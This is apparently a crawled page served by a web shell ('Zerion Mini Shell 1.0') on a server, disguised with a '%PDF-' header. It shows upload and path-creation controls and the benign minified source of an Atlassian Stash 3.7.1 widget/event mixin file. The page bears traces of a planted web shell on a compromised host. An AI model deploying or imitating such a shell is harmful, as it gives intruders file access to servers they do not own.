%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/old/home/stash/atlassian/stash/3.7.1/atlassian-stash/static/util/
Upload File :
Create Path :
Current File : //data/old/home/stash/atlassian/stash/3.7.1/atlassian-stash/static/util/widget-min.js

define("util/widget",["lodash","util/mixin"],function(C,E){function B(H,G){if(!H._listeners){H._listeners={}}if(!H._listeners[G]){H._listeners[G]=[]}return H._listeners[G]}var D={on:function(G,I){var H=B(this,G);if(!C.contains(H,I)){H.push(I)}return this},off:function(G,J){var I=B(this,G);var H=I.length;while(H--){if(I[H]===J||I[H]._handler===J){I.splice(H,1)}}return this},once:function(H,I){var G=this.off.bind(this,H,I);G._handler=I;this.on(H,I);this.on(H,G);return this},trigger:function(H){var J=B(this,H).slice();var I=[].slice.call(arguments,1);var G=this;J.forEach(function(K){try{K.apply(G,I)}catch(L){C.defer(function(){throw L})}});return this}};var A={_init:function(G,H){C.bindAll.apply(C,[this].concat(C.functions(this)));this._options=C.extend({},H||this.constructor&&this.constructor.defaults,G);return this},_addDestroyable:function(G){if(!this._destroyables){this._destroyables=[]}if(C.isFunction(G)){G={destroy:G}}if(!G.destroy){throw new Error("Argument is not destroyable")}this._destroyables.push(G);return this},destroy:function(){if(this._destroyables){C.invoke(this._destroyables,"destroy");this._destroyables=null}if(this.trigger){this.trigger("destroy")}if(this._listeners){this._listeners=null}}};var F=E(D,A).into({});return{mixInto:E(F).into}});

Zerion Mini Shell 1.0